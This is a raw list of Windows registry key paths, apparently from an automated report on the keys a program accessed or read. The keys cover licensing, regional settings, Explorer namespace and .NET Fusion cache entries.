HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\Plugins\Objects\msft:spp/TaskScheduler/1.0\IsService
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\Plugins\Objects\msft:spp/volume/services/kms/1.0\IsService
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\Plugins\Objects\msft:spp/volume/services/kms/licenserenewal/1.0\IsService
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\EnableTestVolumeIntervals
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\VLActivationInterval
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\VLRenewalInterval
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\VLRenewalScheduleDelay
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\VLRenewalScheduleTolerance
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\SideBySide
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\SideBySide\PublisherPolicyChangeTime
HKEY_LOCAL_MACHINE\SYSTEM\Setup\OOBEInProgress
HKEY_LOCAL_MACHINE\System\Setup\Status
HKEY_LOCAL_MACHINE\SYSTEM\Setup\Status\AuditBoot
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\Reboot.SL_BRT_COMMIT
HKEY_CURRENT_USER\Control Panel\International
HKEY_CURRENT_USER\Control Panel\International\LocaleName
HKEY_CURRENT_USER\Control Panel\International\sCountry
HKEY_CURRENT_USER\Control Panel\International\sList
HKEY_CURRENT_USER\Control Panel\International\sDecimal
HKEY_CURRENT_USER\Control Panel\International\sThousand
HKEY_CURRENT_USER\Control Panel\International\sGrouping
HKEY_CURRENT_USER\Control Panel\International\sNativeDigits
HKEY_CURRENT_USER\Control Panel\International\sCurrency
HKEY_CURRENT_USER\Control Panel\International\sMonDecimalSep
HKEY_CURRENT_USER\Control Panel\International\sMonThousandSep
HKEY_CURRENT_USER\Control Panel\International\sMonGrouping
HKEY_CURRENT_USER\Control Panel\International\sPositiveSign
HKEY_CURRENT_USER\Control Panel\International\sNegativeSign
HKEY_CURRENT_USER\Control Panel\International\sTimeFormat
HKEY_CURRENT_USER\Control Panel\International\sShortTime
HKEY_CURRENT_USER\Control Panel\International\s1159
HKEY_CURRENT_USER\Control Panel\International\s2359
HKEY_CURRENT_USER\Control Panel\International\sShortDate
HKEY_CURRENT_USER\Control Panel\International\sYearMonth
HKEY_CURRENT_USER\Control Panel\International\sLongDate
HKEY_CURRENT_USER\Control Panel\International\iCountry
HKEY_CURRENT_USER\Control Panel\International\iMeasure
HKEY_CURRENT_USER\Control Panel\International\iPaperSize
HKEY_CURRENT_USER\Control Panel\International\iDigits
HKEY_CURRENT_USER\Control Panel\International\iLZero
HKEY_CURRENT_USER\Control Panel\International\iNegNumber
HKEY_CURRENT_USER\Control Panel\International\NumShape
HKEY_CURRENT_USER\Control Panel\International\iCurrDigits
HKEY_CURRENT_USER\Control Panel\International\iCurrency
HKEY_CURRENT_USER\Control Panel\International\iNegCurr
HKEY_CURRENT_USER\Control Panel\International\iCalendarType
HKEY_CURRENT_USER\Control Panel\International\iFirstDayOfWeek
HKEY_CURRENT_USER\Control Panel\International\iFirstWeekOfYear
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SafeBoot\Option
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\InactivityShutdownDelay
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\KeepRunningThresholdMins
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Explorer\DeviceNotificationCallbacks
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Explorer\DeviceUpdateLocations
HKEY_CLASSES_ROOT\CLSID\{9C73F5E5-7AE7-4E32-A8E8-8D23B85255BF}
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{9C73F5E5-7AE7-4E32-A8E8-8D23B85255BF}\SortOrderIndex
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Explorer\MyComputer\NameSpace
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Explorer\ControlPanel\NameSpace\{9C73F5E5-7AE7-4E32-A8E8-8D23B85255BF}
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\MyComputer\NameSpace\DelegateFolders
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\MyComputer\NameSpace\DelegateFolders\SuppressionPolicy
HKEY_CLASSES_ROOT\CLSID\{21EC2020-3AEA-1069-A2DD-08002B30309D}
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\MyComputer\NameSpace\DelegateFolders\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{21EC2020-3AEA-1069-A2DD-08002B30309D}\SortOrderIndex
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace\{21EC2020-3AEA-1069-A2DD-08002B30309D}
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\MyComputer\NameSpace
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Explorer\MyComputer\NameSpace\DelegateFolders
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace\{21EC2020-3AEA-1069-A2DD-08002B30309D}
HKEY_CLASSES_ROOT\CLSID\{35786D3C-B075-49B9-88DD-029876E11C01}
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\MyComputer\NameSpace\DelegateFolders\{35786D3C-B075-49b9-88DD-029876E11C01}
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\MyComputer\NameSpace\DelegateFolders\{35786D3C-B075-49b9-88DD-029876E11C01}\SuppressionPolicy
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{35786D3C-B075-49B9-88DD-029876E11C01}\SortOrderIndex
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Explorer\ControlPanel\NameSpace\{35786D3C-B075-49B9-88DD-029876E11C01}
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\ControlPanel\NameSpace\{35786D3C-B075-49B9-88DD-029876E11C01}
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\MyComputer\NameSpace\DelegateFolders\{9113A02D-00A3-46B9-BC5F-9C04DADDD5D7}
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\MyComputer\NameSpace\DelegateFolders\{9113A02D-00A3-46B9-BC5F-9C04DADDD5D7}\SuppressionPolicy
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\MyComputer\NameSpace\DelegateFolders\{b155bdf8-02f0-451e-9a26-ae317cfd7779}
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\MyComputer\NameSpace\DelegateFolders\{b155bdf8-02f0-451e-9a26-ae317cfd7779}\SuppressionPolicy
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\MyComputer\NameSpace\DelegateFolders
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\SessionInfo\1
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\SessionInfo\1\MyComputer\NameSpace
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\SessionInfo\1\MyComputer\NameSpace\DelegateFolders
HKEY_CLASSES_ROOT\CLSID\{9C73F5E5-7AE7-4E32-A8E8-8D23B85255BF}\InProcServer32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{9C73F5E5-7AE7-4E32-A8E8-8D23B85255BF}\InProcServer32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{9C73F5E5-7AE7-4E32-A8E8-8D23B85255BF}\InProcServer32\LoadWithoutCOM
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\ShellCompatibility\Objects\{9C73F5E5-7AE7-4E32-A8E8-8D23B85255BF}
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\(Default)
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\SessionInfo\1\Desktop\NameSpace\NameCustomizations
HKEY_CLASSES_ROOT\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\LocalizedString
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\System.HideOnDesktop
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\{28636AA6-953D-11D2-B5D6-00C04FD918D0} 34
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\HideDesktopIcons\NewStartPanel
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\HideDesktopIcons\NewStartPanel\{20D04FE0-3AEA-1069-A2D8-08002B30309D}
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\ShellEx\IconHandler
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\DefaultIcon
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\DefaultIcon\(Default)
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\DefaultIcon\OpenIcon
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\System.FileAttributes
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\{B725F130-47EF-101A-A5F1-02608C9EEBAC} 13
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\ThumbnailCache
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\System.DateModified
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\{B725F130-47EF-101A-A5F1-02608C9EEBAC} 14
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Explorer
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\GlobalAssocChangedCounter

Read Keys

HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\InstallRoot
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\CLRLoadLogDir
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\UseLegacyV2RuntimeActivationPolicyDefaultValue
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\OnlyUseLatestCLR
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Fusion\NoClientChecks
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\SideBySide\PreferExternalManifest
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\GCStressStart
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\GCStressStartAtJit
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\DisableConfigCache
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\CacheLocation
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\DownloadCacheQuotaInKB
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\EnableLog
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\LoggingLevel
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\ForceLog
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\LogFailures
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\VersioningLog
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\LogResourceBinds
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\UseLegacyIdentityFormat
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\DisableMSIPeek
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NoClientChecks
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\DevOverrideEnable
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\LatestIndex
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\index126\NIUsageMask
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\index126\ILUsageMask
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\181938c6\7950e2c5\83\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\181938c6\7950e2c5\83\ConfigMask
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\181938c6\7950e2c5\83\ConfigString
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\181938c6\7950e2c5\83\MVID
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\181938c6\7950e2c5\83\EvalationData
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\181938c6\7950e2c5\83\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\181938c6\7950e2c5\83\ILDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\181938c6\7950e2c5\83\NIDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\181938c6\7950e2c5\83\MissingDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\7950e2c5\183e33de\83\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\7950e2c5\183e33de\83\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\7950e2c5\183e33de\83\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\7950e2c5\183e33de\83\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\7950e2c5\183e33de\83\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\mscorlib,2.0.0.0,,b77a5c561934e089,x86
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\Latest
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\index21
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\LegacyPolicyTimeStamp
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\Windows Error Reporting\WMR\Disable
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\30bc7c4f\3f50fe4f\88\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\30bc7c4f\3f50fe4f\88\ConfigMask
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\30bc7c4f\3f50fe4f\88\ConfigString
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\30bc7c4f\3f50fe4f\88\MVID
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\30bc7c4f\3f50fe4f\88\EvalationData
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\30bc7c4f\3f50fe4f\88\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\30bc7c4f\3f50fe4f\88\ILDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\30bc7c4f\3f50fe4f\88\NIDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\30bc7c4f\3f50fe4f\88\MissingDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\424bd4d8\1c83327b\86\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\424bd4d8\1c83327b\86\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\424bd4d8\1c83327b\86\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\424bd4d8\1c83327b\86\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\424bd4d8\1c83327b\86\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\19ab8d57\1bd7b0d8\87\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\19ab8d57\1bd7b0d8\87\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\19ab8d57\1bd7b0d8\87\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\19ab8d57\1bd7b0d8\87\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\19ab8d57\1bd7b0d8\87\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3f50fe4f\6f1da7aa\88\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3f50fe4f\6f1da7aa\88\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3f50fe4f\6f1da7aa\88\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3f50fe4f\6f1da7aa\88\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3f50fe4f\6f1da7aa\88\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System,2.0.0.0,,b77a5c561934e089,MSIL
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System.Xml,2.0.0.0,,b77a5c561934e089,MSIL
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System.Configuration,2.0.0.0,,b03f5f7f11d50a3a,MSIL
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\61e7e666\c991064\7a\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\61e7e666\c991064\7a\ConfigMask
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\61e7e666\c991064\7a\ConfigString
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\61e7e666\c991064\7a\MVID
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\61e7e666\c991064\7a\EvalationData
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\61e7e666\c991064\7a\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\61e7e666\c991064\7a\ILDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\61e7e666\c991064\7a\NIDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\61e7e666\c991064\7a\MissingDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\475dce40\2d382ce6\85\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\475dce40\2d382ce6\85\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\475dce40\2d382ce6\85\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\475dce40\2d382ce6\85\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\475dce40\2d382ce6\85\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\2dd6ac50\163e1f5e\80\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\2dd6ac50\163e1f5e\80\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\2dd6ac50\163e1f5e\80\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\2dd6ac50\163e1f5e\80\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\2dd6ac50\163e1f5e\80\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\41c04c7e\7f3b6ac4\78\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\41c04c7e\7f3b6ac4\78\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\41c04c7e\7f3b6ac4\78\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\41c04c7e\7f3b6ac4\78\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\41c04c7e\7f3b6ac4\78\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3ced59c5\1b2590b1\7c\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3ced59c5\1b2590b1\7c\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3ced59c5\1b2590b1\7c\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3ced59c5\1b2590b1\7c\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3ced59c5\1b2590b1\7c\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\c991064\2bd33e1c\79\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\c991064\2bd33e1c\79\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\c991064\2bd33e1c\79\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\c991064\2bd33e1c\79\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\c991064\2bd33e1c\79\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\3cca06a0\6dc7d4c0\7b\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\3cca06a0\6dc7d4c0\7b\ConfigMask
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\3cca06a0\6dc7d4c0\7b\ConfigString
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\3cca06a0\6dc7d4c0\7b\MVID
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\3cca06a0\6dc7d4c0\7b\EvalationData
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\3cca06a0\6dc7d4c0\7b\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\3cca06a0\6dc7d4c0\7b\ILDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\3cca06a0\6dc7d4c0\7b\NIDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\3cca06a0\6dc7d4c0\7b\MissingDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\6dc7d4c0\a5cd4db\7e\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\6dc7d4c0\a5cd4db\7e\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\6dc7d4c0\a5cd4db\7e\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\6dc7d4c0\a5cd4db\7e\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\6dc7d4c0\a5cd4db\7e\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System.Windows.Forms,2.0.0.0,,b77a5c561934e089,MSIL
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System.Drawing,2.0.0.0,,b03f5f7f11d50a3a,MSIL
